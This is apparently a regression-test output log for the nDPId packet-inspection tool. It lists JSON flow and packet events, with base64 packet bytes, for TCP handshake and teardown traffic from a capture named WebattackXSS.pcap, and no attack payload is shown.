+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":6,"flow_first_seen":1499347381694,"flow_last_seen":1499347386722,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56590,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":243,"flow_packet_id":6,"flow_first_seen":1499347381694,"flow_last_seen":1499347386722,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56590,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":6,"flow_first_seen":1499347384186,"flow_last_seen":1499347389723,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56616,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":244,"flow_packet_id":6,"flow_first_seen":1499347384186,"flow_last_seen":1499347389723,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56616,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":6,"flow_first_seen":1499347385481,"flow_last_seen":1499347390723,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56630,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":245,"flow_packet_id":6,"flow_first_seen":1499347385481,"flow_last_seen":1499347390723,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56630,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":6,"flow_first_seen":1499347386736,"flow_last_seen":1499347392723,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56644,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":6,"flow_first_seen":1499347386736,"flow_last_seen":1499347392723,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56644,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":6,"flow_first_seen":1499347389305,"flow_last_seen":1499347394723,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56670,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":6,"flow_first_seen":1499347389305,"flow_last_seen":1499347394723,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56670,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":6,"flow_first_seen":1499347390580,"flow_last_seen":1499347395724,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56684,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4070,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":6,"flow_first_seen":1499347390580,"flow_last_seen":1499347395724,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56684,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4073,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":287,"flow_packet_id":1,"flow_first_seen":1499347456462,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57386,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":287,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4073,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347456,"pkt_ts_usec":462850,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8YWdAAD4GZGmsEAABwKgKMuAqAFCeBqRYAAAAAKACchB1sAAAAgQFtAQCCAoBOsU\/AAAAAAEDAwc="} +00445{"flow_id":287,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4074,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347456,"pkt_ts_usec":462974,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4CoPzfb\/ngakWaAScSDVKAAAAgQFtAQCCAoD5Ja1ATrFPwEDAwc="} +00432{"flow_id":287,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4075,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347456,"pkt_ts_usec":463730,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YWhAAD4GZHCsEAABwKgKMuAqAFCeBqRZD833AIAQAOV0MAAAAQEICgE6xT8D5Ja1"} +00433{"flow_id":284,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4079,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347456,"pkt_ts_usec":735625,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gf1AAD4GQ9usEAABwKgKMt\/0AFCzvkGwI9fSToARAOXWpQAAAQEICgE6xYMD5JHK"} +00433{"flow_id":284,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4080,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347456,"pkt_ts_usec":735843,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0RLdAAEAGfyHAqAoyrBAAAQBQ3\/Qj19JOs75BsYARAOPRdwAAAQEICgPklvkBOsWD"} +00433{"flow_id":284,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4081,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347456,"pkt_ts_usec":736578,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gf5AAD4GQ9qsEAABwKgKMt\/0AFCzvkGxI9fST4AQAOXRdAAAAQEICgE6xYQD5Jb5"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4085,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":288,"flow_packet_id":1,"flow_first_seen":1499347457705,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57400,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":288,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4085,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347457,"pkt_ts_usec":705792,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA816NAAD4G7iysEAABwKgKMuA4AFCwfBHVAAAAAKACchD0eAAAAgQFtAQCCAoBOsZ2AAAAAAEDAwc="} +00444{"flow_id":288,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4086,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347457,"pkt_ts_usec":705869,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4DiBhHFpsHwR1qAScSBmmgAAAgQFtAQCCAoD5JfrATrGdgEDAwc="} +00432{"flow_id":288,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4087,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347457,"pkt_ts_usec":706661,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA016RAAD4G7jOsEAABwKgKMuA4AFCwfBHWgYRxaoAQAOUFogAAAQEICgE6xnYD5Jfr"} +00434{"flow_id":285,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4091,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347457,"pkt_ts_usec":736109,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ox5AAD4GirqsEAABwKgKMuACAFCP5\/qHdX\/8yIARAOXDNAAAAQEICgE6xn0D5JMQ"} +00434{"flow_id":285,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4092,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347457,"pkt_ts_usec":736254,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0aztAAEAGWJ3AqAoyrBAAAQBQ4AJ1f\/zIj+f6iIARAOO+UgAAAQEICgPkl\/MBOsZ9"} +00434{"flow_id":285,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4093,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347457,"pkt_ts_usec":736992,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ox9AAD4GirmsEAABwKgKMuACAFCP5\/qIdX\/8yYAQAOW+TwAAAQEICgE6xn4D5Jfz"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4103,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":289,"flow_packet_id":1,"flow_first_seen":1499347460253,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57426,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":289,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4103,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347460,"pkt_ts_usec":253314,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eW5AAD4GTGKsEAABwKgKMuBSAFDnp7GdAAAAAKACchAa7gAAAgQFtAQCCAoBOsjzAAAAAAEDAwc="} +00444{"flow_id":289,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4104,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347460,"pkt_ts_usec":253453,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4FLH4MUu56exnqAScSDwcAAAAgQFtAQCCAoD5JpoATrI8wEDAwc="} +00432{"flow_id":289,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4105,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347460,"pkt_ts_usec":254031,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eW9AAD4GTGmsEAABwKgKMuBSAFDnp7Gex+DFL4AQAOWPeAAAAQEICgE6yPMD5Jpo"} +00434{"flow_id":286,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4109,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347460,"pkt_ts_usec":737007,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0z\/BAAD4G9eesEAABwKgKMuAcAFC7QQvlBqEeOoARAOXOcgAAAQEICgE6yWwD5JV\/"} +00432{"flow_id":286,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4110,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347460,"pkt_ts_usec":737189,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hNtAAEAGPv3AqAoyrBAAAQBQ4BwGoR46u0EL5oARAOPJEQAAAQEICgPkmuEBOsls"} +00433{"flow_id":286,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4111,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347460,"pkt_ts_usec":737956,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0z\/FAAD4G9easEAABwKgKMuAcAFC7QQvmBqEeO4AQAOXJDwAAAQEICgE6yWwD5Jrh"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4115,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":290,"flow_packet_id":1,"flow_first_seen":1499347461508,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57440,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":290,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4115,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347461,"pkt_ts_usec":508506,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80JNAAD4G9TysEAABwKgKMuBgAFDZtRq+AAAAAKACchC+dwAAAgQFtAQCCAoBOsotAAAAAAEDAwc="} +00444{"flow_id":290,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4116,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347461,"pkt_ts_usec":508641,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4GAaiodM2bUav6AScSB9+QAAAgQFtAQCCAoD5JuiATrKLQEDAwc="} +00433{"flow_id":290,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4117,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347461,"pkt_ts_usec":509324,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00JRAAD4G9UOsEAABwKgKMuBgAFDZtRq\/GoqHTYAQAOUdAQAAAQEICgE6yi0D5Jui"} +00432{"flow_id":287,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4121,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347461,"pkt_ts_usec":737242,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YWlAAD4GZG+sEAABwKgKMuAqAFCeBqRZD833AIARAOVvCAAAAQEICgE6ymYD5Ja1"} +00432{"flow_id":287,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4122,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347461,"pkt_ts_usec":737496,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0bNtAAEAGVv3AqAoyrBAAAQBQ4CoPzfcAngakWoARAONp4wAAAQEICgPkm9sBOspm"} +00432{"flow_id":287,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4123,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347461,"pkt_ts_usec":738025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YWpAAD4GZG6sEAABwKgKMuAqAFCeBqRaD833AYAQAOVp4QAAAQEICgE6ymYD5Jvb"} +00432{"flow_id":288,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4127,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347462,"pkt_ts_usec":737388,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA016VAAD4G7jKsEAABwKgKMuA4AFCwfBHWgYRxaoARAOUAtwAAAQEICgE6y2AD5Jfr"} +00432{"flow_id":288,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4128,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347462,"pkt_ts_usec":737571,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07b9AAEAG1hjAqAoyrBAAAQBQ4DiBhHFqsHwR14ARAOP7zQAAAQEICgPknNUBOstg"} +00432{"flow_id":288,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4129,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347462,"pkt_ts_usec":738152,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA016ZAAD4G7jGsEAABwKgKMuA4AFCwfBHXgYRxa4AQAOX7ywAAAQEICgE6y2AD5JzV"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4130,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":291,"flow_packet_id":1,"flow_first_seen":1499347462759,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57454,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":291,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4130,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347462,"pkt_ts_usec":759503,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8K55AAD4GmjKsEAABwKgKMuBuAFAjB+D7AAAAAKACchCtogAAAgQFtAQCCAoBOstlAAAAAAEDAwc="} +00445{"flow_id":291,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4131,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347462,"pkt_ts_usec":759607,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4G52KJeXIwfg\/KAScSAAAgAAAgQFtAQCCAoD5JzbATrLZQEDAwc="} +00432{"flow_id":291,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4132,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347462,"pkt_ts_usec":760317,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0K59AAD4GmjmsEAABwKgKMuBuAFAjB+D8diiXmIAQAOWfCAAAAQEICgE6y2YD5Jzb"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4145,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":292,"flow_packet_id":1,"flow_first_seen":1499347465304,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57480,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":292,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4145,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347465,"pkt_ts_usec":304654,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8nSBAAD4GKLCsEAABwKgKMuCIAFBo61DCAAAAAKACchD1YAAAAgQFtAQCCAoBOs3iAAAAAAEDAwc="} +00444{"flow_id":292,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4146,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347465,"pkt_ts_usec":304749,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4Ijwu80MaOtQw6AScSCVOwAAAgQFtAQCCAoD5J9XATrN4gEDAwc="} +00432{"flow_id":292,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4147,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347465,"pkt_ts_usec":305553,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nSFAAD4GKLesEAABwKgKMuCIAFBo61DD8LvNDYAQAOU0QwAAAQEICgE6zeID5J9X"} 